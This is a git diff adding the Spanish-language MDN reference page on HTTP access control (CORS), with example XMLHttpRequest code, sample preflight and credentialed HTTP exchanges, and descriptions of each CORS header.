initial commit

97 files changed, 10605 insertions, 0 deletions

diff --git a/files/es/web/http/access_control_cors/index.html b/files/es/web/http/access_control_cors/index.html
new file mode 100644
index 0000000000..efd60a179a
--- /dev/null
+++ b/files/es/web/http/access_control_cors/index.html
@@ -0,0 +1,491 @@
+---
+title: Control de acceso HTTP (CORS)
+slug: Web/HTTP/Access_control_CORS
+translation_of: Web/HTTP/CORS
+---
+<p>{{HTTPSidebar}}</p>
+
+<p><span class="seoSummary">El Intercambio de Recursos de Origen Cruzado ({{Glossary("CORS")}})</span> es un mecanismo que utiliza cabeceras <span class="seoSummary">{{Glossary("HTTP")}}</span> adicionales para permitir que un <span class="seoSummary">{{Glossary("user agent")}}</span> obtenga permiso para acceder a recursos seleccionados desde un servidor, en un origen distinto (dominio) al que pertenece. Un agente crea una petición HTTP de origen cruzado cuando solicita un recurso desde un dominio distinto, un protocolo o un puerto diferente al del documento que lo generó.</p>
+
+<p>Un ejemplo de solicitud de origen cruzado: el código JavaScript frontend de una aplicación web que es localizada en <code>http://domain-a.com</code> utiliza {{domxref("XMLHttpRequest")}} para cargar el recurso <code>http://api.domain-b.com/data.json</code>.</p>
+
+<p>Por razones de seguridad, los exploradores restringen las solicitudes HTTP de origen cruzado iniciadas dentro de un script. Por ejemplo, <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> y la API <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> siguen la <a href="/en-US/docs/Web/Security/Same-origin_policy">política de mismo-origen</a>. Ésto significa que una aplicación que utilice esas APIs <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> sólo puede hacer solicitudes HTTP a su propio dominio, a menos que se utilicen cabeceras CORS.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 439px;"></p>
+
+<p>El <a href="http://www.w3.org/">W3C</a> <a href="http://www.w3.org/2008/webapps/">Grupo de Trabajo de Aplicaciones Web</a> recomienda el nuevo mecanismo de <a href="http://www.w3.org/TR/cors/">Intercambio de Recursos de Origen Cruzado</a> (CORS, por sus siglas en inglés). CORS da controles de acceso a dominios cruzados para servidores web y transferencia segura de datos en dominios cruzados entre navegadores y servidores Web. Los exploradores modernos utilizan CORS en un  <strong>contenedor API</strong> (como <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> o <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a>) para ayudar a mitigar los riesgos de solicitudes HTTP de origen cruzado.</p>
+
+<h2 id="¿Quién_debería_leer_este_artículo">¿Quién debería leer este artículo?</h2>
+
+<p>Todo el mundo, de verdad.</p>
+
+<p>Más específicamente, este artículo está dirigido a administradores web, desarrolladores de servidores y desarrolladores de interfaz. Los exploradores modernos manejan los componentes sobre el intercambio de origen cruzado del lado del cliente. Incluyendo cabeceras y políticas de ejecución. Pero, este nuevo estándar determina que los servidores tienen que manejar las nuevas solicitudes y las cabeceras de las respuestas. Se recomienda, como lectura suplementaria, otro artículo para desarrolladores de servidor que discute el <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">intercambio de origen cruzado desde una perspectiva de servidor (con fragmentos de código PHP)</a>.</p>
+
+<h2 id="¿Qué_peticiones_utiliza_CORS">¿Qué peticiones utiliza CORS?</h2>
+
+<p>Este <a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">estándar de intercambio de origen cruzado</a> es utilizado para habilitar solicitudes HTTP de sitios cruzados para:</p>
+
+<ul>
+ <li>Invocaciones de las APIs <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> o  <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> en una manera de sitio cruzado, como se discutió arriba.</li>
+ <li>Fuentes Web (para usos de fuente en dominios cruzados <code>@font-face</code> dentro de CSS), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements" title="http://www.webfonts.info/wiki/index.php?title=@font-face_support_in_Firefox">para que los servidores puedan mostrar fuentes TrueType que sólo puedan ser cargadas por sitios cruzados y usadas por sitios web que lo tengan permitido.</a></li>
+ <li>Texturas WebGL.</li>
+ <li>Imágenes dibujadas en patrones usando <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code>.</li>
+ <li>Hojas de estilo (para acceso <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSSOM_View">CSSOM</a>).</li>
+ <li>Scripts (para excepciones inmutadas).</li>
+</ul>
+
+<p>Este artículo es una discusión general sobre Intercambio de Recursos de Origin Cruzado e incluye una discusión sobre las cabeceras HTTP.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El estándar de Intercambio de Recursos de Origen Cruzado trabaja añadiendo nuevas cabeceras HTTP que permiten a los servidores describir el conjunto de orígenes que tienen permiso para leer la información usando un explorador web.  Adicionalmente, para métodos de solicitud HTTP que causan efectos secundarios en datos del usuario (y en particular, para otros métodos HTTP distintos a <code>GET</code>, o para la utilización de <code>POST</code> con algunos tipos MIME), la especificación sugiere que los exploradores "verifiquen" la solicitud, solicitando métodos soportados desde el servidor con un método de solicitud HTTP <code>OPTIONS</code>, y luego, con la "aprobación" del servidor, enviar la verdadera solicitud con el método de solicitud HTTP verdadero. Los servidores pueden también notificar a los clientes cuando sus "credenciales" (incluyendo Cookies y datos de autenticación HTTP) deben ser enviados con solicitudes.</p>
+
+<p>Las secciones siguientes discuten escenarios, así como el análisis de las cabeceras HTTP usados.</p>
+
+<h2 id="Ejemplos_de_escenarios_de_control_de_accesos">Ejemplos de escenarios de control de accesos</h2>
+
+<p>Aquí, presentamos tres escenarios que ilustran cómo funciona el Intercambio de Recursos de Origen Cruzado. Todos estos ejemplos utilizan el objeto <code><a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a></code>, que puede ser utilizado para hacer invocaciones de sitios cruzados en cualquier explorador soportado.</p>
+
+<p>Los fragmentos de JavaScript incluidos en estas secciones (y las instancias ejecutadas del código servidor que correctamente maneja las solicitudes de sitios cruzados) <a class="external" href="http://arunranga.com/examples/access-control/" title="http://arunranga.com/examples/access-control/">pueden ser encontrados "en acción" aquí</a>, y pueden ser trabajados en exploradores que soportan <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> de sitios cruzados. Una discusión de Intercambio de Recursos de Origen Cruzado desde una <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control" title="En/Server-Side Access Control">perspectiva de servidor (incluyendo fragmentos de código PHP) puede ser encontrada aquí</a>.</p>
+
+<h3 id="Solicitudes_simples">Solicitudes simples</h3>
+
+<p>Una solicitud de sitio cruzado es aquella que cumple las siguientes condiciones:</p>
+
+<ul>
+ <li>Los únicos métodos aceptados son:
+  <ul>
+   <li>GET</li>
+   <li>HEAD</li>
+   <li>POST.</li>
+  </ul>
+ </li>
+ <li>Aparte de las cabeceras establecidas automáticamente por el agente usuario (ej. <code>Connection, User-Agent,</code>etc.), las únicas cabeceras que están permitidas para establecer manualmente son:
+  <ul>
+   <li><code>Accept</code></li>
+   <li><code>Accept-Language</code></li>
+   <li><code>Content-Language</code></li>
+   <li><code>Content-Type</code></li>
+  </ul>
+ </li>
+ <li>Los únicos valores permitidos de la cabecera <code>Content-Type</code> son:
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note"><strong>Nota:</strong> Estos son los mismos tipos de solicitud de sitios cruzados que un contenido web ya puede emitir, y ninguna respuesta de datos es liberada a menos que el servidor envíe la cabecera apropiada. Por lo tanto, los sitios que prevengan solicitudes falsas de sitios cruzados no tienen nada nuevo que temer sobre el control de acceso HTTP.</div>
+
+<p>Por ejemplo, suponga que el contenido web en el dominio <code class="plain">http://foo.example</code> desea invocar contenido en el dominio <code class="plain">http://bar.other</code>. Código de este tipo puede ser utilizado dentro de JavaScript desplegado en foo.example:</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+</pre>
+
+<p>Dejándonos ver lo que el explorador enviará al servidor en este caso, y veamos como responde el servidor:</p>
+
+<pre class="brush: shell notranslate">GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+</pre>
+
+<p>Las líneas 1 - 10 son las cabeceras enviadas por Firefox 3.5.  Observe que la cabecera de solicitud HTTP principal aquí es la cabecera <code>Origin:</code>  en la línea 10 de arriba, lo que muestra que la invocación proviene del contenido en el dominio <code class="plain">http://foo.example</code>.</p>
+
+<p>Las líneas 13 - 22  muestran la respuesta HTTP del servidor en el dominio <code class="plain">http://bar.other</code>.  En respuesta, el servidor envía de vuelta una cabecera <code>Access-Control-Allow-Origin:</code>, mostrado arriba en la línea 16.  El uso de la cabecera <code>Origin:</code> y <code>Access-Control-Allow-Origin:</code> muestran el protocolo de control de acceso en su uso más simple.  En este caso, el servidor responde con un <code>Access-Control-Allow-Origin: *</code> lo que significa que el recurso puede ser accedido por <strong>cualquier</strong> dominio en una forma de sitio cruzado. Si el dueño del recurso en <code class="plain">http://bar.other</code> deseara restringir el acceso al recurso solamente para <code class="plain">http://foo.example</code>, debería devolver lo siguiente:</p>
+
+<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p>
+
+<p>Note que ahora, ningún otro dominio aparte de <code class="plain">http://foo.example</code> (identificado por la cabecera ORIGIN: en la solicitud, como en la línea 10 arriba) puede acceder al recurso en una forma de sitio cruzado. La cabecera Access-Control-Allow-Origin debe contener el valor que fue enviado en la solicitud del encabezado <code>Origin.</code></p>
+
+<h3 id="Solicitudes_Verificadas">Solicitudes Verificadas</h3>
+
+<p>A diferencia de las solicitudes simples (discutidas arriba), las solicitudes "verificadas" envían primero una solicitud HTTP por el método <code>OPTIONS</code> al recurso en el otro dominio, para determinar si es seguro enviar la verdadera solicitud. Las solicitudes de sitios cruzados son verificadas así ya que pueden tener implicaciones en la información de usuario.  En particular, una solicitud es verificada sí:</p>
+
+<ul>
+ <li>Usa métodos <strong>distintos</strong> a <code>GET, HEAD</code> <code>o POST</code>.  También, si <code>POST</code> es utilizado para enviar solicitudes de información con Content-Type <strong>distinto</strong> a<code> application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, o <code>text/plain</code>, ej. si la solicitud <code>POST</code> envía una carga XML al servidor utilizando <code>application/xml</code> or <code>text/xml</code>, entonces la solicitud <strong>es</strong> verificada.</li>
+ <li>Se establecen encabezados personalizados (ej. la solicitud usa un encabezado como <code>X-PINGOTHER</code>)</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota:</strong> Empezando en {{Gecko("2.0")}}, las codificaciones de datos <code>text/plain</code>, <code>application/x-www-form-urlencoded</code>, y <code>multipart/form-data</code> pueden ser enviadas en sitios cruzados sin verificación. Anteriormente, solo<code> text/plain</code> podía ser enviado sin verificación.</p>
+</div>
+
+<p>Un ejemplo de este tipo de invocación puede ser:</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+</pre>
+
+<p>En el ejemplo de arriba, la línea 3 crea un cuerpo XML para enviar con la solicitud <code>POST</code> en la línea 8.  También, en la línea 9, se establece una cabecera HTTP de solicitud "personalizado" (no estándar <code>X-PINGOTHER: pingpong</code>).  Dichas cabeceras no son parte del protocolo HTTP/1.1, pero son útiles generalmente en aplicaciones web. Dado que la solicitud (<code>POST</code>) usa un Content-Type <code>application/xml</code>, y dado que se establece una cabecera personalizada, la solicitud es verificada.</p>
+
+<p>Veamos este intercambio completo entre un cliente y un servidor:</p>
+
+<pre class="brush: shell notranslate">OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER
+Access-Control-Max-Age: 1728000
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]
+</pre>
+
+<p>Las líneas 1 - 12 arriba representan la solicitud verificada con los métodos <code>OPTIONS</code>. Firefox 3.1 determina lo que se necesita para enviar esto basándose en los parámetros de la solicitud que los fragmentos de JavaScript que se usaron arriba, para que el servidor pueda responder si es aceptable enviar la solicitud con los parámetros de la solicitud real. OPTIONS es un método HTTP/1.1 que se utiliza para determinar información adicional de los servidores, y es un método <strong>idempotente</strong>, esto significa que no puede ser utilizado para cambiar el recurso. Observe que, junto con la solicitud OPTIONS, se envían otras dos cabeceras de solicitud (líneas 11 y 12 respectivamente):</p>
+
+<pre class="notranslate">Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER
+</pre>
+
+<p>La cabecera <code>Access-Control-Request-Method</code> notifica al servidor como parte de una solicitud verificada que cuándo se envíe la solicitud real, esta será enviada con un método de solicitud <code>POST</code>. La cabecera <code>Access-Control-Request-Headers</code> notifica al servidor que cuando la solicitud real sea enviada, será enviada con un encabezado <code>X-PINGOTHER</code> personalizado.  Ahora, el servidor tiene la oportunidad para determinar si desea aceptar la solicitud bajo estas circunstancias.</p>
+
+<p>Las líneas 15 - 27 de arriba corresponden con la respuesta que devuelve el servidor indicando que el método de la petición (POST) y la cabecera <code>X-PINGOTHER</code> son aceptadas. En particular, echemos un vistazo a las líneas 18-21:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER
+Access-Control-Max-Age: 1728000</pre>
+
+<p>El servidor responde con <code>Access-Control-Allow-Methods</code> y dice que <code>POST</code>, <code>GET</code>, y <code>OPTIONS</code> son métodos viables para consultar el recurso en cuestión.  Observe que esta cabecera es similar al <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7">HTTP/1.1 Allow: encabezado de respuesta</a>, pero usado estrictamente dentro del contexto del control de acceso.  El servidor también envía <code>Access-Control-Allow-Headers</code> con un valor de <code>X-PINGOTHER</code>, confirmando que es una cabecera permitida para ser usado en la solicitud real.  Como <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> es una lista separada por comas de cabeceras aceptables.  Finalmente, <code>Access-Control-Max-Age</code> da el valor en segundos de cuánto tarda la respuesta de la solicitud verificada en ser capturada sin enviar otra solicitud verificada. En este caso, 1728000 segundos son 20 días.</p>
+
+<h3 id="Solicitudes_con_credenciales">Solicitudes con credenciales</h3>
+
+<p>La capacidad más interesante expuesta tanto por <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> y Access Control es la habilidad para hacer solicitudes "con credenciales" que estén al tanto de Cookies HTTP e información de Autenticación HTTP.  Por defecto, en las invocaciones <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> de un sitio curzado, los exploradores no enviarán credenciales. Una bandera específica tiene que ser establecida en el objeto <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> cuando este es invocado.</p>
+
+<p>En este ejemplo, el contenido cargado originalmente desde <code class="plain">http://foo.example</code> hace una solicitud GET simple a un recurso en <code class="plain">http://bar.other</code> que establece Cookies. El contenido en foo.example puede contener un JavaScript como este:</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}</pre>
+
+<p>La línea 7 muestra la bandera en <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> que tiene que ser establecida para poder hacer la invocación con Cookies, es decir, el valor booleano <code>withCredentials</code>.  Por defecto, la invocación es hecha sin Cookies. Dado que esta es una simple solicitud <code>GET</code>, no es verificada, pero el explorador <strong>rechazará </strong>cualquier respuesta que no tiene el encabezado <code>Access-Control-Allow-Credentials: true</code>,y <strong>no</strong> hará disponible la respuesta para invocar contenido web.</p>
+
+<p>A continuación se proporciona una muestra de intercambio entre un cliente y un servidor:</p>
+
+<pre class="brush: shell notranslate">GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+</pre>
+
+<p>Pese a que la línea 11 contiene la Cookie destinada para el contenido en <code class="plain">http://bar.other</code>, si bar.other no responde con <code>Access-Control-Allow-Credentials: true</code> (línea 19) la respuesta será ignorada y no puesta a disposición para el contenido web. <strong>Nota Importante:</strong> cuando se responde a una solicitud con credeciales, el servidor <strong>debe</strong><strong> </strong>especificar un dominio, y no puede usar comodines. El ejemplo de arriba fallará si la cabecera fuera un comodín como: <code>Access-Control-Allow-Origin: *</code>.  Dado que <code>Access-Control-Allow-Origin</code> menciona explícitamente <code class="plain">http://foo.example</code>, el contenido de credenciales competente es devuelto al contenido web invocador. Observe que, en la línea 22, se establece una cookie adicional.</p>
+
+<p>Todos estos ejemplos pueden <a class="external" href="http://arunranga.com/examples/access-control/" title="http://arunranga.com/examples/access-control/">verse funcionando aquí</a>.  La siguiente sección se refiere a las verdaderas cabeceras HTTP.</p>
+
+<h2 id="Las_cabeceras_HTTP_de_respuesta">Las cabeceras HTTP de respuesta</h2>
+
+<p>Esta sección lista las cabeceras HTTP de respuesta que los servidores envían de vuelta para las solicitudes de acceso de control definidas por la especificación del Intercambio de Recursos de Origen Cruzado. La sección anterior da un resumen de estos en acción.</p>
+
+<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3>
+
+<p>Un recurso devuelto puede tener una cabecera <code>Access-Control-Allow-Origin</code>, con la siguiente sintaxis:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: &lt;origin&gt; | *
+</pre>
+
+<p>El parámetro <code>origin</code> específica una URI que puede tener acceso al recurso.  El explorador debe asegurar esto. Para solicitudes <strong>sin</strong> credenciales, el servidor debe especificar "*" como un comodín permitiendo, de este modo, el acceso al recurso a cualquier origen.</p>
+
+<p>Por ejemplo, para permitir a <span class="nowiki">http://mozilla.com</span> acceder al recurso, usted puede especificar:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: <span class="plain">http://mozilla.com</span></pre>
+
+<p>Si el servidor especifica un host de origen en vez de "*", entonces se debe incluir <span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">Origin</span><span style="line-height: 1.5;"> en el encabezado de respuesta </span><span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">Vary </span><span style="line-height: 1.5;">para indicar a los clientes que las respuestas del servidor difieren basándose en el valor del encabezado de respuesta</span><span style="line-height: 1.5;"> </span><span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">Origin.</span></p>
+
+<p>{{ h3_gecko_minversion("Access-Control-Expose-Headers", "2.0") }}</p>
+
+<p>Esta cabecera permite una <em>whitelist</em> de cabeceras del servidor que los exploradores tienen permitido acceder. Por ejemplo:</p>
+
+<pre class="notranslate">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+</pre>
+
+<p>Esto permite a las cabeceras <code>X-My-Custom-Header</code> y<code> X-Another-Custom-Header</code> ser expuestos al explorador.</p>
+
+<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3>
+
+<p>Esta cabecera indica durante cuánto tiempo los resultados de la solicitud verificada pueden ser capturados. Para un ejemplo de solicitudes verificadas, vea los ejemplos de arriba.</p>
+
+<pre class="notranslate">Access-Control-Max-Age: &lt;delta-seconds&gt;
+</pre>
+
+<p>El parámetro <code>delta-seconds</code> indica el número de segundos en que los resultados pueden ser capturados.</p>
+
+<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3>
+
+<p>Indica si la respuesta puede ser expuesta cuando la bandera <code>credentials</code> es verdadera. Cuando se usa como parte de una respuesta para una solicitud verficada, este indica si la solicitud verdadera puede realizarse usando credenciales. Note que las solicitudes <code>GET</code> simples no son verificadas, y por lo que si una solicitud es hecha para un recurso con credenciales, si la cabecera no es devuelta con el recurso, la respuesta es ignorada por el explorador y no devuelta al contenido web.</p>
+
+<pre class="notranslate">Access-Control-Allow-Credentials: true | false
+</pre>
+
+<p><a class="internal" href="/En/HTTP_access_control#Requests_with_credentials" title="En/HTTP access control#Requests with credentials">Las Solicitudes con credenciales</a> son discutidas arriba.</p>
+
+<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3>
+
+<p>Específica el método o los métodos permitidos cuando se asigna un recurso. Es usado en respuesta a la solicitud verificada. Las condiciones sobre cuándo una solicitud es verificada se discuten arriba.</p>
+
+<pre class="notranslate">Access-Control-Allow-Methods: &lt;method&gt;[, &lt;method&gt;]*
+</pre>
+
+<p>Un ejemplo de una <a class="internal" href="#Preflighted_requests" title="#Preflight Request">solicitud verificada se muestra arriba</a>, incluyendo un ejemplo donde se envía este encabezado al explorador.</p>
+
+<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3>
+
+<p>Usado en respuesta a una <a class="internal" href="#Preflighted_requests" title="#Preflighted Request">solicitud verificada</a> para indicar qué encabezado HTTP puede ser usado cuando se realiza la solicitud real.</p>
+
+<pre class="notranslate">Access-Control-Allow-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<h2 id="Los_encabezados_HTTP_de_solicitud">Los encabezados HTTP de solicitud</h2>
+
+<p>Esta sección lista las cabeceras que los clietnes deben utilizar cuando realizan solicitudes HTTP para usar la característica de intercambio de origen cruzado. Note que estas cabeceras son establecidas cuando se realizan realizan invocaciones a los servidores. Los desarrolladores usan la capacidad de sitios cruzados <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> para no tener que establecer ninguna solicitud de intercambio de origen cruzado programada.</p>
+
+<h3 id="Origin">Origin</h3>
+
+<p>Indica el origen de las solicitudes de acceso a sitios cruzados o solicitudes verificadas.</p>
+
+<pre class="notranslate">Origin: &lt;origin&gt;
+</pre>
+
+<p>El origen es una URI indicando al servidor dónde se ha iniciado la solicitud. Este no incluye ninguna información de recorrido, sólo el nombre del servidor. </p>
+
+<div class="note"><strong>Nota:</strong> El <code>origin</code> puede ser un string vacío; esto es útil, por ejemplo, si el recurso es un <code>data</code> URL.</div>
+
+<p>Observe que en cualquier solicitud de acceso de control, la cabecera <code>ORIGIN</code> <strong>siempre </strong>se envía.</p>
+
+<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3>
+
+<p>Se usa cuando se emite una solicitud verificada, para indicarle al servidor qué método HTTP será usado cuando se haga la solicitud real.</p>
+
+<pre class="notranslate">Access-Control-Request-Method: &lt;method&gt;
+</pre>
+
+<p>Ejemplos de esta utilización pueden ser encontrados <a class="internal" href="#Preflighted_requests" title="Preflighted requests">arriba.</a></p>
+
+<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3>
+
+<p>Usada cuando se emite una solicitud verificada para indicarle al servidor qué cabecera HTTP será usada cuando se haga la solicitud real.</p>
+
+<pre class="notranslate">Access-Control-Request-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<p>Ejemplos de esta utilización pueden ser encontrados <a class="internal" href="/En/HTTP_access_control#Preflighted_requests" title="En/HTTP access control#Preflighted requests">arriba</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Nueva definición; tiene como objetivo suplantar la especificación CORS.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CORS')}}</td>
+   <td>{{Spec2('CORS')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Exploradores">Compatibilidad con Exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8 (a través de XDomainRequest)<br>
+    10</td>
+   <td>12</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
